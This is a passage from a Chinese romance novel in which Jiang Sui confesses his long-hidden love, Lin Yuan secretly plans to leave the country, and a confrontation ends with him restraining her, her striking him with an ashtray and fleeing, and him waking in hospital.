而她此刻却骤然惊觉,那个曾经替她破开软壳,让她终于敢探出一点脑袋,不再背着沉重的枷锁与自责停在原地,丝毫不敢忘记一点点负疚的……竟是眼前这个,完全意料之外的人。 她震惊、迷茫、惶恐,也有克制不住的感动。 却又有深深的无可奈何。 “我还以为……”林鸢滞涩地咽了口,笑了笑,嗓音微沙,玩笑道,“那里的紫外线,比北城的嚣张这样多。” 明明……她查过英国的天气,就算是夏天,也算不得多热。可却从来没有怀疑过。 江随弯唇,轻笑了声,终于有了些玩笑的语气:“还是渝市的更厉害些。” 林鸢看着他这么久以来,最像从前的一刻笑意,心脏本能般,蓦地一涩。 握着水杯的指节收紧,仿佛索性想给从前的林鸢一个完整回忆,她突然特别想知道:“江随,那你到底……是什么时候开始喜欢我的呢?” 江随一顿,没有立刻回答,却问她:“水还喝吗?” 林鸢茫然地摇摇头。 “好。”江随轻笑,站起来,将她水杯拿走,放到身侧茶几上。 复又回来,半跪似的,重新蹲到她身前。 昏暗静谧的,如同被抛进时光隧道的客厅里,他低低开口。 “第一次看见你的时候,只是觉得你有点儿好玩儿。你知道你当时,”江随微顿,轻轻侧仰着脸看她,低笑了声,“都看呆了吗?” 林鸢垂睫看着他,缓眨了下眼,无声笑了笑。 “我就在想,为什么会有看着这么乖的小姑娘,胆子这么大。” “后来再见到你,就是……我看得出来,当时的你也很害怕,很紧张。甚至是既恶心,又恐惧。但你依旧站在那里,像个小英雄。” “那次,大概是有些好奇了吧。好奇你和那个女孩子,到底是什么关系,能叫你那么勇敢。” 林鸢搁在膝盖上的指尖,下意识地蜷缩了瞬。 “再后来,我知道你会去一中。”或许是最大的秘密都已经被她知晓,江随也没再掩饰,“我本来不在一班的,”江随笑,“我就那么没良心地抛弃了李想。” 林鸢一顿,有些哭笑不得。 “就像,谢师哥大概也和你说 过,“江随声音低下来,“你那次相亲,是我故意去的。” 他说完,喉间莫名有些苦意,扯唇笑了笑,轻声道:“我和你之间,除了第一次见面,后面的交集,似乎都是我的强求。” 林鸢突然有些难受,滚了滚喉头哽意,偏开话头道:“我还以为开学那天,你并没有认出我。毕竟我那时……背着光。” 本就黯淡的少女,还没有任何光环包裹,无人在意也是理所应当。 江随缓眨长睫,静静听着她说,却并没有反驳,也没解释,只蓦地道:“阿鸢,你是真喜欢砸人脑袋。” 帮仇欣时砸,帮李彤云时又是。也幸好,高中那回,虽然他当时不在,但小姑娘也分得清轻重缓急,到底是用手机开了录音,记下了那男的猥琐骚扰的证据。 只是可惜了,他体育课替她买的酸梅汽水,那玻璃瓶喝完之后,有运势的福签。 林鸢一怔,蓦地有些想笑。微弯了弯唇,视线低越过他浓黑的发,忽然很想问问他……那你,还疼吗。 动了动唇,却终究什么也没说。 江随没多想,眸底有缱绻温柔,也有一如当初悸动时的少年青涩,低低道:“至于心动,那应该是……和你一起因为李彤云的事儿,在办公室挨完秦老师的训。” 林鸢猛然顿住。 那个夏天的傍晚,他们被班主任留到操场上都只剩蝉鸣。 无非是说,他们不该那样冲动,尤其是林鸢,小姑娘家家的,不把人打出事儿,万一自己出了事,怎么办。 俩人明白,秦老师也是为了他们好,连江随都收了平日里的散漫模样,乖得像个从不迟到早退的,传统意义上的好学生。 直到秦老师,将俩人念叨得开始埋头忍笑,才气不过地扶了扶自己走错方向的汗湿刘海,叫他们:“你俩滚刀肉,走走走!赶紧回家!” 俩人憋得痛苦出了办公室,到楼梯上才忍不住笑出声。 江随也终于没好气地重重拎了拎她发尾,低眼睨道:“胆子怎么这么大?就不能等等我,也不怕吃亏。” 空旷得仿佛有回声的教学楼,台阶上,小姑娘耸肩扬了扬眉。 没立刻回答他,却开始往楼下走。 那样一个小人儿,背着半新不旧的书包,杨着笑,快乐地往楼梯下蹦跶,一下就离他老远。 她跨跳一级台阶,就念一句:“因为,一个人手里握把枪,并不是真正的勇敢。” “勇敢是,在你还没开始的时候,就知道自己注定会输,但依然义无反顾地去做,并且不管发生什么,都坚持到底。一个人很少能赢,但也总会有赢的时候。” “小时候,我以为这话是老林说的。是他送给我的。”女孩子认真解释,“哦,老林就是我爸爸。” “后来才晓得,那是女作家哈珀李说的。” 话落,少女突然站定,转过身。浓郁如赤金的夕晖,在她身后铺展成漫天的羽翼。 她白皙的脸庞透着蜜色的红晕,漆黑的眸子,那样明亮,那样耀眼。 台阶下,她弯起唇,扬起脸,大胆又小心地,轻声向他说:“江随,也送给你。 ………… 江随没办法形容那一刻的悸动,甚至每每回想,都会觉得心脏不可抑制地怦然跃动。 那是跨越任何时间洪流,也磨灭不掉的感知与画面。 永远跃然如新。 后来的许多瞬间,江随都会想—— 或许在那一刻,她的灵魂便已骄纵而出,在他眼前炽灼闪亮。 又或许从那时开始,他就已经开始无意识地,规划俩人的未来。 “阿鸢,你不知道,”他低头,半跪在她身前,小心翼翼握上她指尖,虔诚轻吻,低道,“就算站在阴影里,你也依旧耀眼。” 林鸢有那么一刹那,差点哭出来。 在他的描述中,她似乎深深地感受到了,曾经的林鸢其实并不差。 就算她家世普通,就算她不是顶漂亮,顶聪明,就连她连脾气都算不得好多,但她依旧很好,依旧值得被人喜欢。 仿佛有炙热的零星光点,散落在荆棘丛里。你能在锋利的尖刺间看见它,可伸手想触摸时,却疼得无法向前。 她甚至连“你为什么,不早点告诉我呢”这样的话,都没力气问出口。 但,她还是想说:“江随,谢谢你。” 谢谢你让我知道,年少时的林鸢,也同样值得被爱。在喜欢人的眼里,也同样熠熠生光。 只是,他们就如同两个错位的时空旅人。 她穿过岁月,发现年少时的江随,原来竟那样喜欢自己。 而年少的江随来到现在,终于勇敢说出爱意。 林鸢突然觉得,感情里最残酷的,并非一方沉溺,而一方无意,甚至并非爱而不得。 或许只是,简简单单的错过。 就如同此刻,或许他们都明白,眼前的对方,其实早已……不是他们期待的爱人。 第55章 第 55 章 “阿鸢,别想别人。想我…… 农历新年前, 林鸢收到郑老师消息,手续已妥,只等她签证下来。 江随也不可能每时每刻跟着她, 她在上班的时候, 请个假去使馆面签, 谁也不会告诉江随。 除了又碰上旗和集贸市场那位孙经理, 来齐柏候她, 让她替他向江随求情这样莫名其妙的事情, 日子很顺利地向新年递进。 或许是知道了曾经那段暗恋,也并非自己所想的那样不堪, 或许是因为即将离开, 从此山高水遥,对即将离别的人, 总要宽容些, 林鸢对江随的情绪, 竟也平和了许多。 在江随鼓起勇气,忐忑的邀请下, 他们一起去逛街,吃饭,看电影。 似乎一对普通的, 初相识的男女, 在静谧的相处间,探寻未来交集的可能。 而江随却没有……或是说, 不敢有更近一步的动作。 甚至连林鸢买的双人爆米花, 电影结束了,都没伸手。 林鸢也是有些好笑,本能想怼他两句的性子, 又在这样平和的气氛中冒了出来,于是问他:“你是不喜欢吃甜的吗?” 江随深呼吸,挺无奈地扬了扬眉,抓了一把。 他只能慢慢试探,一点点接近。他害怕太着急,会叫她害怕,叫她抗拒,叫他们之间好不容易生起的和平气氛,重新被他打破、搞砸。 林鸢又何尝体会不到他这些情绪。 毕竟,曾经自己,不也正是这样,仿佛蒙着眼睛下台阶,每一步,都有害怕踏空的惶恐,又克制不住地想一步步试探。 江随原本还提议,让她请了今年的年假,俩人一起去她从前想去的海岛旅行。 可林鸢说,还是等天气暖和些吧。其实她不太喜欢冬天去海岛,因为从温暖的地方回来前,总有没来由的低落。 江随也没强求,细细和她说好,那等天气暖和一些,再和她一道去。 年假前的最后一个周末,他们哪里也没去,林鸢难得放下工作,倚在客厅里靠着落地窗的那一面晒太阳,翻着一本不知道从哪里弄来的旧小说。 阳光偏爱地抚上她脸颊,让她脸上细小的绒毛,都染上了温暖的淡金。 她低垂着长睫,懒懒散散地曲腿歪在沙发里,面容恬然又温柔,像个天使。 这样美好的画面,只叫他安心又悸动。 江随不由自主地走向她。 林鸢待的那一块,本来就造得比地平高,像是用高低错落来划分的功能区,江随走到台阶下,她循声看过去。 “阿鸢,”男人漆黑的眸子映着暖光,熠熠期冀望向她,低声问,“我们就这样,重新开始,好不好?” 林鸢看着他,没说话,弯起唇角,很轻地笑了笑,点点头。 喜悦来得急促,叫人一下子措手不及。 像潮水朝他扑来,叫他渴望又慌乱。 他只觉得,林鸢答应得太轻易了,轻易到让他有些不安。 可又不敢,也不愿意去怀疑。 他有些执着地想,一定是,林鸢明白了他的心意,明白了他真的愿意好好改变。 所以她对他破了例。 喉结轻滚,江随踏上台阶,走过去,动容地俯下身,抱住她,将她小心翼翼地,又深深嵌进怀里,轻声道:“阿鸢,我真的很喜欢你。” “特别特别喜欢你。” 林鸢下巴抬起,搁在他肩骨上,身体有些僵硬,姿势也有些难受。 眼神虚焦,没再说话- 林鸢的护照是直接寄去齐柏的。 郑老师替她订的机票信息,也已经发到了手机上。 她什么也没准备,只备好了护照,身份资料,老林那只没修好的手机,那副耳夹,和一些钱。 明天,她会照常去“上班”,然后离开。 临睡前,江随向她发来极乐开年要上的新项目资料,晚饭的时候俩人聊起,林鸢说有兴趣,想看看。 江随没有怀疑,也毫无异议。 只是发完了,问她能不能打会儿语音。 林鸢顿了会儿,发了个“好”。 接通后,江随却并没有说什么,反倒轻笑直言:“这个点,你要睡了吧?我们,可以别挂吗?” 林鸢捏着手机的指节紧了紧,压着声音,深深呼吸,视线不自觉地,落到梳妆台那只椭圆形的丝绒盒子上,最后轻道:“好。” 之前,江随想帮她补过生日——今年生日那天,他们在渝市,林鸢说不想过了,江随也没敢强求。 回来之后,他就送了她一盒宝石,形状大小各异的、明亮的黄,挤在黑色的丝绒盒里,仿佛夏日树影投到地上的光斑。 这天夜里,不知道是不是看了眼那盒不会带走的东西,林鸢竟做起了光怪陆离的梦。 她一会儿梦见,自己和江随高中就在一起——因为她竟大胆地,毫无试探地直接向江随开了口,向他说: “我喜欢你。” 而离奇的是,江随竟然答应了,就那样毫不迟疑。 林鸢高兴得像在做梦。 一会儿又梦见,她和江随之间隔着一个长发披肩的,模糊的女人,正冷淡地看着自己。 林鸢有一瞬间惊惶,她下意识低头,看见自己身上的校服。 又抬眼,却看见穿着校服的少女,正慌乱地检视着自己。 林鸢一愣,原来……都是她。 梦里,她莫名有种沉沦似的清醒。 她很想醒过来,又很想告诉那个少女,别相信,这都不是真的。 因为“她”越喜悦,她就莫名的,越难过。 耳际发线,滚落进阵阵湿凉,林鸢在迷蒙间瑟缩,又听见枕边手机里,有人焦灼却小心地叫她名字,终于从梦境中脱离。 “做噩梦了?”江随的声音从手机里传来,“阿鸢,醒了吗?” 他听见窸窸窣窣的动静。 林鸢还有些没回神,揩了揩眼泪,轻笑:“不是。” 嗓音却沙哑异常。 对面微静了片刻,仿佛将选择权交给她般,忽然轻声问她:“我能……上来陪你会儿吗?”又补充,“我只是,单纯地想陪陪你,但你要是觉得不合适,也可以拒绝我。” 或许是这段时间以来,江随的确如他自己所言,没有她的允许,从没踏上二楼半步,连三楼的书房、小画室、露台,也都是她在用。 又或许是,软弱在这离别前的黑夜里,无限放大,她无端地,想由着自己任性一回。 于是她说:“好。那你,再陪陪我吧。” 就当,是给梦里的“林鸢”一段快乐的结尾。 江随有一瞬间的不敢置信,随即又被无边的喜悦淹没。 她那天,果然没有骗自己,她是真的,想和他重新开始。 “嗯,”他嗓音都不自觉沙哑起来,却是笑低道,“你等我。” 俩人都没将电话挂断,直到江随站到门口,听见林鸢从里面拧开门锁,将门打开,然后退开,让他进来。 “要开一盏小灯吗?”他问。 林鸢一顿:“不用,我怕太亮了,我待会儿会睡不着。” “好。”江随轻声道,“那你去睡吧,我在旁边陪你。” “别怕,我在呢。”他说。 林鸢向前的脚步顿住,回转过身。 她不知道,是不是江随特意将这里装修成她喜欢的色调和风格,就连窗帘,都装的不是遮光的,此刻,本来就适应了黑暗的眼睛,依旧能就着微淡月光,看见他神色轮廓。 “江随,我没有做噩梦。”她突然就很想告诉他,“我只是,梦见从前喜欢的人了。” 江随猛地一僵,即便以为她看不清,笑容却依旧维持得艰难僵硬。 林鸢感觉到他的紧绷,温和轻笑,身体却蓦地向前,告诉他:“我梦见,他给我讲数学题。” 江随突然觉得,此刻的林鸢,就像坐在月光下礁石边的海妖,说的每个字,都像是勾人心魄的歌。 直道她气息贴近,轻轻踮起脚,像梦里的林鸢一样大胆而直白,在他唇角贴了贴。 他起初竟有些青涩,迟钝地毫无反应。脑袋有一瞬空白的嗡鸣,激动和欢喜充斥地他心脏都要炸开。 下一秒,才本能地将她抱住,低头回应。 零碎的吻,在她唇上试探、贴落,小心翼翼,又珍视异常。像温柔缱绻的告白。 直到有什么湿濡温软的东西,在他唇瓣轻触,他微愣,才开始放诞大胆地深入。 林鸢能感觉到他贴着自己的怦然心跳,能闻到他身上好闻的清爽味道,也能感觉到,他逐渐炽热的体温和强势的探索。 他扣着她脑后,抵住她腰,唇齿纠缠。轻而易举,她一路被迫地退到床边,膝窝抵上床沿,重重地跌落。 这场亲吻,终于短暂地告一段落。 林鸢突然有些鼻酸。 或许人的确不过是动物,在这一刻,她竟也对这样生理性的亲密,并不抗拒。 黑暗里,她勾着他脖颈,任由自己放纵地问:“想吗?” 僵默了很久。 “不想。”江随微微喘息,声音沙哑,口是心非,撑着她身侧,低声道。 说完,又怕林鸢误会她对自己没有吸引力,才艰难解释道,“家里没有。对你不好。” 林鸢一滞,低低地笑出声来。 她竟不知道,江随这样纯情的。 她还以为……按他理解的,俩人这段时间以来“重修旧好”的关系,他或许会一早准备,或者干脆在此刻顺水推舟。 本能的欲。望,就这样被没来由的微微愧歉冲开,消淡下去,林鸢推了推他心口,小声道:“那你睡好。” 江随有些僵硬地顿了片刻,低“嗯”了声,翻开身。 林鸢顺势侧滚过身,面朝向窗外那侧。 房间里安静了许久,林鸢才觉得,身后有热源贴上来。 他从后伸手,胳膊贴着她腰,轻轻将她抱住。 “那我是,可以留下来了?” “你要下去也可以。”林鸢好笑。 江随手上力道蓦地收紧,以行动代表回答。 林鸢轻轻闭上眼,没再言语。 本以为大家心照不宣地安静下来,就是要准备睡了,不料江随却突然小声说: “我那次,没张嘴。阿鸢,你别嫌弃我。” 林鸢愣了好一会儿,才好笑地嗤了声,用略带嘲讽的语气,故意问:“那你是嫌弃我咯?” “我没有!”他像个被冤枉的孩子般愤恼,毫不迟疑地否认,又滞涩道,“我只是……对不起。” 我只是嫉妒得,每每回想,都要怨自己千百遍。 林鸢没再说话,轻拍拍他手背,示意他不用 再提。 可江随却仿佛第一次住校的学生,冷不丁地又有话说:“但你别误会,” 他将她轻轻抱紧了些,话音里沾了点儿克制的情。欲,“我不是不行。” 林鸢浑身一僵。 江随立刻被漫天的涩意浸泡,浸得骨缝都泛酸。 他不可抑制会去想,是不是往后,他同她做的许多事,都会有别人的影子。 而他这个人,也将会被林鸢本能地,同别人作比较。 江随强迫自己离她远一点,却没放手,只将脸低埋进她颈窝,许久,祈求般轻声道:“阿鸢,别想别人。想我。” 林鸢心口骤然一缩,突然有些眼酸,昏暗里,缓缓地眨了下眼。 分开后,她很少让自己想起顾淮,因为她明白,她对顾淮的感情,还没放下,却也不再回得去。 而她如今对江随,或许就像此刻眼前的所有陈设,记得清模样,却看不见轮廓。 模糊得叫她心慌,也叫她无力。 叫她爱不下去,也恨不畅快。 可即便,她没办法原谅他、接受他,却也希望,像郑老师说的那样,可以理解他。 她想了解一个完完整整的江随,因为她不想为了任何人,背着沉重的怨恨向前走。 于是她在黑暗里低声开口,问他:“江随,你额角的疤,是怎么来的?” 第56章 第 56 章 “阿鸢,我疼。” 江随在港城的那几年, 不知道江咏麒是将他当作陆连营的替身,还是单纯地拿他做掩护,或拿他当增添情。趣的工具, 每次和不同的男友约会, 总要带上他。 他们有时在酒店, 叫他待在客厅, 有时又去野外, 叫他待在车里。 他被迫地, 在那样的年龄,见识过不少回叫他震惊、惶恐, 与作呕的声音。 也始终记得腹腔里空得吐无可吐, 翻搅得五脏六腑,都仿佛要被人从喉头拉扯出来, 是什么滋味。 可或许是, 老天觉得他还不够可笑。 在江咏麒又一次浪漫约会结束后, 俩人不知是为了兴致,还是单纯觉得无所谓, 喝了点酒,仍旧坚持自己开车。 那次,他坐在后排。 车祸发生的时候, 他是清醒的。 猛烈的撞击, 大脑一瞬间的空白,汽车侧翻的震荡, 和意识到身处危险时, 从头骨到身躯剧烈弥散的疼痛。 江咏麒也不是一开始,就想直接离开的。 她也试图将他拉出来。 可变形的车体,狭小的空间, 将他紧紧挤压在后座,动弹不得。 他似乎听见那个陌生男人,叫他母亲快走。汽油泄露,车尾起了火,可能会爆炸。 他埋在低低的车窗边,瞧不见他们神色,只能透过浮起红雾似的眼,看见碎裂迸溅的玻璃,看见男人和女人,穿着文明社会的皮鞋,来回拉扯的双脚。 或许是求生的本能,或许是……潜意识里,他仍祈盼过一点爱意。 于是他动了动唇,曲了曲指节,虚弱又努力道:“妈妈,我疼。” 或许是过于小声。 无人应他。 意识融进嘶嘶的燃烧声前,小小的江随终于明白,被亲人抛弃,孤单面对死亡的感觉,原来是这样的。 ………… 也是从那时开始,江随知道,眼泪留在脸颊上,是很冷的。 并且,没有丝毫作用。 自那之后,他也从未再向谁喊过疼,因为无人会在意。 甚至,会成为对方嘲讽和攻击他的利器。 可也不知道为什么,这段时间以来,他竟然这样爱哭。 就像此刻,虽然不再在意过去,他仍有些鼻腔发酸。 或许是因为,头一次向人说起这些,还是在林鸢面前,让他有种,终于卸下了这么多年,包裹在身上的最后一片硬壳的感觉。 仿佛在爱的人面前,摊开伤口,不再掩饰软弱,也不是那样叫人难以启齿。 江随突然很轻松,又有些莫名不好意思起来。 “每个人都有不敢面对的过去,或是伤痛,但这不是我逃避与伤害你的理由。”他抱着她,将额头轻轻抵在她脑后,低声道,“阿鸢,让我用余生的时光来弥补你,好吗?” 或许是有过感同身受的经历,也在曾经的意外中留下了难以磨灭的伤疤——而江随的和她的,代表的却是截然不同的回忆与感受。 所以林鸢静静地沉在黑暗里,听完他平平淡淡的转述,只觉得胸腔里涌起难言的酸涩与隐痛。 她好像忽然理解了,江随先前总执着于,让她不要放弃他,到底是因为什么。 原来,并不只是因为,如小猫小狗般,被转送的经历。 林鸢没办法否认,她居然……仍会感到心疼与酸楚。 这样的感觉,让她心慌,叫她害怕,也叫她不敢去深想。 林鸢知道,她真的该离开了。 “睡吧。”很久,没有任何安慰,没有任何开解,她只轻声道,“明天……明天就好了。” 江随揽着她肩头的指节,安抚似的,轻轻捏了捏她胳膊,贴着她发轻轻一吻,话音温柔含笑,安心道:“好,睡吧,晚安。” 许久之后,在她呼吸渐渐平缓,似乎已经入睡时,江随只觉得她有轻微的,像小孩子哭过后的本能抽搐。 他有些心疼,胸腔里涌起酸楚,很想轻轻拍拍她,又怕将她吵醒。 于是只小心翼翼低头,亲了亲她头发。 她说她,梦到了从前喜欢的男孩子。 他明白,她现在或许,并没有完完全全接受他。 但,阿鸢,别怕。你喜欢什么,告诉我。你喜欢什么,我就给你什么- 江随不知道自己睡了多久,被枕边的手机震动吵醒。 他清晨时总会睡眠浅一些,但林鸢就截然相反,上学时也是这样,导致她总错过闹铃。 江随怕吵醒她,循着声源摸过手机,也没去看,凭着本能划开接听。 “您好,请问是林小姐吗?”电话对面,一个男声问道。 江随骤然清醒,意识到拿的不是自己手机,瞥了眼没动静的林鸢,压低声音道:“哪位?她在睡觉。” 即便这人的声音,带着服务行业程序化的客套,江随仍不由自主地升起对同性的警惕。 “哦您好,是这样的,很抱歉由于大雾影响,您家人预定的航班临时取消,您可以选择登录我司系统免费改签,也可以选择退票与相应赔偿,稍后为您发来短信……” 江随忘了自己是怎么下的楼。 或许,他只是想下楼抽支烟。 或许,他只是希望林鸢的手机再次响起,有人向他说:刚刚的那通电话,不过是恶作剧。 可他查了,今天下午飞往大洋彼岸的那架航班,的确因为天气原因,临时取消。 所以,如果没有今晨的这场大雾,她应该出门后,就不会再回来。 没有这通阴差阳错的电话,他也会在任何一个毫无预兆的,在他以为,她已经愿意回头的时候,被蒙在鼓里,失去她。 此刻,窗外迷雾漫天,他坐在林鸢那天坐的沙发上,微勾着身子,拿过沙发边几上的烟盒。 数月前在便利店买的,没有抽完。 他抽出一根,点燃火机,可颤抖的指节,却失控般,连那点微弱的红光都生不起。 仿佛荒野间陷进沼泽里的独旅人,明白呼救无用,便只能自己挣扎。 可越用力,便陷得越深,也越绝望。 他已经分不清,此刻心脏尖锐而又割裂的疼痛,到底是因为被欺骗的愤怒,还是死寂般的无望。 最后一次尝试,江随合上火机,放下烟,颓然又痛苦地仰颈,靠进沙发里,用指节盖住眼睛。 片刻,克制不住,微微颤抖。 她明明答应的,就在这里,答应要和他重新开始。 可她为什么……要骗他。 她怎么可以骗她。 谁都可以骗她,唯独她不可以- 林鸢半梦半醒间,发现江随已经不在,却也没摸到自己手机,猛然清醒。 爬下床检查了藏在衣柜里准备带走的东西,都在,又叫自己冷静一些。 深深呼吸,简单梳洗,换下睡衣,林鸢下楼。 一下去便看见已经坐在落地玻璃窗前的江随。 像是比她还要规整,干净的白衬衣扣至锁骨。 除了面色有些惨然的白,似乎毫无异样。 林鸢却一下看见,他放在边几上的两部手机。 仿佛终于听见她的动静,江随偏头朝她看过来,拿起她手机,冲她笑笑,示意她看。 林鸢一滞,走过去,接过划开。 江随想,他不该因为一通电话就怀疑她的真心,否定她的允诺,他还是应该问问她。 毕竟,他们从前就是因为说得太少,才错过这许多。 “林鸢,你有什么要对我说的吗?”于是他盯着她划动屏幕的表情,平静道。 说你不是要离开,说你是受了别人的蛊惑,说什么都可以, 就是……别承认骗我。 林鸢自然一下看见了那条航班取消的信息,也看见了清晨的通话记录。 她喉头发紧,瞬间紧张起来,下意识想去拨郑老师的电话。 手机却猛地被站起来的男人抢走,他笑意阴寒地问她:“你要给谁打电话?” “江随,手机还我!”林鸢皱眉去抢。 江随蓦地被她眼里不再掩藏的厌恶刺痛,一下将她手机甩进沙发里,牢牢抓住她手腕,将她扯回自己身前。 林鸢吃痛,咬牙站住。 沉默又粗重的气息间,俩人沉默地注视着对方。 终究是落了下风的人先出声。 “林鸢,你骗我。” “你一直在骗我。” 他声音开始嘶哑,一字一顿,像强迫自己摁压伤口,体会清醒的疼痛般陈述道: “你从没想过留下来,你从来没想过,要和我在一起。” 他眼眶血红,执拗地看着她,却是蓦地轻笑了声,哽哑问她:“阿鸢,为什么骗我?” 林鸢看着他,不说话。 江随难受地要哭出来。 “阿鸢,你怎么不说话?”她越冷静,就叫他越崩溃,仿佛此刻的他,就是个无理取闹的疯子,可他真的想问,“你那天明明说,要和我重新开始。” “你说话啊。” 林鸢攥紧被她捏住腕骨的指节,笑了笑:“嗯,骗你的啊。你都说完了,还要我说什么?” 仿佛信仰的庙宇,在他面前轰然倒塌。 他固执地想要她一个答案,却深知自己想要的,无非是她的否认。 原来爱到毫无原则,是这样叫人狼狈。 他替她想了那么多理由,也不过是欺人自欺。 “为什么。” 林鸢以为他问的,是为什么骗他。 “骗都骗了,哪有什么为什么。” 却没想到江随是问:“为什么,不继续骗下去。” 林鸢麻滞的心脏,像被什么尖锐的东西刺了下,猛地一痛。却更死死盯住他,平静道:“烦了。累了。不想继续了。” 江随闭了闭眼,嘶哑道:“可我们昨晚,明明那样好……” 林鸢捏着拳,僵硬地站在原地。 她能理解江随的惶然,能理解他被欺骗的痛苦,可她依旧给不了他任何承诺。 她想,不如让他断了一切念想,或许疼够了,他也就放手了。 于是她面色沉静地看着他:“你是想问我,为什么明明要离开,昨晚还要对你做那样的事?” 江随一滞。 林鸢笑了笑,“我不过就是想报复你,也想让你试试,尝点甜头,再从云端跌落的感觉。怎么样?这滋味好受吗?” 江随心脏猛地抽痛,仿佛瞬间失了力气,连抓着她手腕的力道都有一丝松懈,却依旧想替她寻找理由,恳求道:“那我们扯平了,好不好?” 林鸢胸腔里忽然涌起绵密的刺痛,她咬紧牙避开他视线,趁着他的脆弱抽开手,想去拿回自己手机。 “阿鸢,你去哪儿?你别走,”江随却重新抓住她,“我们再试试,再试试好不好?” “江随!你让开!” 男人颀长高大的身躯将她笼罩,和她截然不同的气息包裹她,林鸢蓦地有些心慌,更激烈地挣扎起来。 “或者……你试试,可能,我总有比他好的地方?” 他呢喃祈求似的说完,有些失焦的眸子里像是蓦然升起一点光亮。 于是江随默不作声,扣住她两个手臂,一把将她压进沙发里,林鸢心脏狂跳,用力挣脱他的钳制,伸腿去踹他,却被他用膝盖狠狠别住。 她拳打脚踢,用尽全身力气,男人却不为所动,压住她肩膀,捏开她下颌。 他决绝又暴戾的吻落下来,眼泪却也跟着一道。 脆弱的苦涩,混进侵略的唇舌之间。 一个人在一段感情里,卑微至此,狼狈至此,已经失去了理智。 林鸢清醒地感知到他扯开她外套。 一个男人不加自控的力量,叫她毫无反抗的余地,也叫她升起前所未有的,极度的恐惧。 林鸢颤抖着,狠狠咬住他埋进她肩膀的脖颈。 江随吃痛地一僵,顿住动作,许久,微抽身,偏头看她。 林鸢红着眼,死死瞪住他。 某一瞬间,江随只觉得自己已经死了一遍。 因为他在林鸢的眼睛里,仿佛看见了当年,她看马场里那个罪犯的厌恨和恐惧。 浑身的骨骼,都仿佛被人事无巨糜地细细敲碎。疼得他整个人,都似乎失去意识。 他明明从没想过要伤害她。 可她为什么,要这样害怕他。 江随蓦地笑了笑,脸上浮起病态的执拗:“他可以,我不行,是吗?” 林鸢本能地瑟缩了瞬。 “别怕,那我们不试了。”他低头亲了亲她眼角,说着仿佛毫无意识的话,身体机械地离开她,“反正,只要你在我身边,怎样都可以。” 可膝盖却依旧压住她腿,一手仍死死抓着她两只手腕别过头顶,另一手将她扯下的外套,顺势去捆扎她的双手。 “是郑老师怂恿你的吗?还是陆靖?李想?没关系,我知道,一定不是你自己的意思。我们一起离开,去一个谁也不认识我们的地方,重新开始。” 林鸢不知道此刻失去理智的江随,到底要将她怎样,可她面对这样毫无反抗余地的力量,是真的被恐惧支配笼罩。 “江随!你要做什么?!你这是犯法!”她强撑着,虚张声势喝他。 “那就让我死!”他蓦地大吼出声,再也不想克制。 什么理智,什么自持,他只想遵从内心最本能的渴望,他想要她,想和她在一起,想和她永永远远……不要分开。 林鸢胀着眼眶,死死盯住他,牙关克制着颤抖。 她强迫自己理智,告诉自己,或许……还可以侥幸一试。 “江随,你……你能不能别这样。”林鸢眼泪落下来,有真的惶恐,也有别的,“我害怕。我真的害怕……” 江随动作猛地滞住,只觉得她眼泪像烫到她心脏上,一路烧着灼痛,在他每一存呼吸间蔓延。 “你……别哭,”他蓦地松开力道,想伸手去替她揩,“别哭……” 而终于得以片刻脱身的林鸢,反手挣开外套,一把抓过边几上的烟缸,猛地朝他脑袋砸去。 江随意识有一瞬间的空白,随即才感知到剧烈的疼痛,人也歪下去,重重栽倒在地上,本能地蜷缩起来。 林鸢浑身颤抖地看着他倒下去,看着他脑袋上涌出鲜血,看着他痛苦地捂住脑袋。 她狠狠喘息,扔掉烟缸,抓过手机,猛地站起身,想朝玄关处跑去。 脚腕却蓦地被人抓住。 他仿佛使尽了最后一点力气,衰弱而沙哑地开口: “阿鸢,我疼。” 林鸢猛地僵住,只觉得自己心脏上那层软壳,被人骤然一锤,狠狠击碎。 锋利的碎片,在她胸腔里四溅,切割。 疼得她被他死死攥住的脚踝,连同心脏,都失魂般颤抖。 林鸢滞顿地,本能地拧过身,低眼回望。 隔着迷雾般的水汽,她看见他额角的疤,被新鲜的殷红覆盖。 又看见他,在见到她回头时,眸底重新燃起渴求的期冀,唇角艰难而努力地,向她弯起弧度。 他是不是在想,这一次,终于不会再被丢下了。 可……对不起,江随,我帮不了你。 于是她低下身,将他死死攥住自己脚踝的手指,颤抖着拼尽全力,一点一点,死 命掰开。 泪水滚落的那一瞬,她看见了他的无力、僵硬,与绝望。 也看见了那双漆黑眸底,星光消弭。 第57章 第 57 章 他要她活着,要她平安…… 没了束缚, 林鸢站起身,划开手机,压着颤抖的手拨通120, 往门口奔。 她不敢再上楼拿东西, 惶急下拿走了玄关那里的车钥匙。 和120说完详细信息, 林鸢已经跑到院子里的车边, 挂断, 她又立刻摁下了郑老师的电话, 结果响了几声无人接听。 林鸢只觉得源源不断的眼泪,和此刻穿着单衣的躯体一样冷, 她不敢耽误, 即刻挂断打给了李想。 没两声接通。 她尽量让自己保持理智地说:“李想,我把江随砸了……” 对面愣了瞬, 林鸢胡乱抹了把眼泪, 向他说了地址, 和已经打了120的情况,李想让她别急, 他立刻过来。 挂了电话,林鸢浑身发抖,颤着手摁下车钥匙。 平时阿姨用的车, 就停在院外车位上, 林鸢歪身坐进去,拧动车钥匙。 她不敢回去, 也不敢离开。 她怕回去了, 江随还有制服她的力气,又怕这样一走,江随真的出事。 汽车引擎嗡鸣, 车身颤抖,林鸢一只手紧紧捏着方向盘,一只手死死握着手机,盯着来路。 她极力祈祷救护车赶紧来,也祈求江随不要有事。 很快,李想和救护车几乎同时到达。在进院子看见她坐在车里时,李想边往里跑,边偏头指了指外面,对她说:“先走。” 林鸢微顿了瞬,在救护人员和李想进屋时,将车开出了小区,没熄火,停在路边,给李想发了条消息: 他没事的话,告诉我。 没多久,救护车闪着灯铃开出小区。 迷雾在稀薄的晨光中逐渐消散,林鸢擦干眼泪,打过方向,朝救护车相反的方向开去- 江随在医院清醒的时候,看见病房里李想沈确晏峋都在。还有不知道什么时候回来的陆靖。 “醒了?”靠在他床边的李想,立刻站起来看他,“有没有哪里不舒服,恶心想吐什么的……” 江随却好像看不到他们,也听不懂人话似的,腾地一下坐起来,一把扯掉插在手背血管里的针头,欲要翻身下床。 李想一下就来了心火,既有心疼,也有恼怒,死死摁住他肩,冲他喊道:“你他妈又要作什么?!” 江随抬头,身体僵硬地抵抗着他的力道,沙哑而执拗地开口:“我要去找她。” 李想深呼吸,不想和病人动粗,妄图用事实劝住他:“我们现在,谁也不知道林鸢去了哪里,你就算要找,也先把伤养好,行吗?” “我知道她在哪里,我能找到她。” 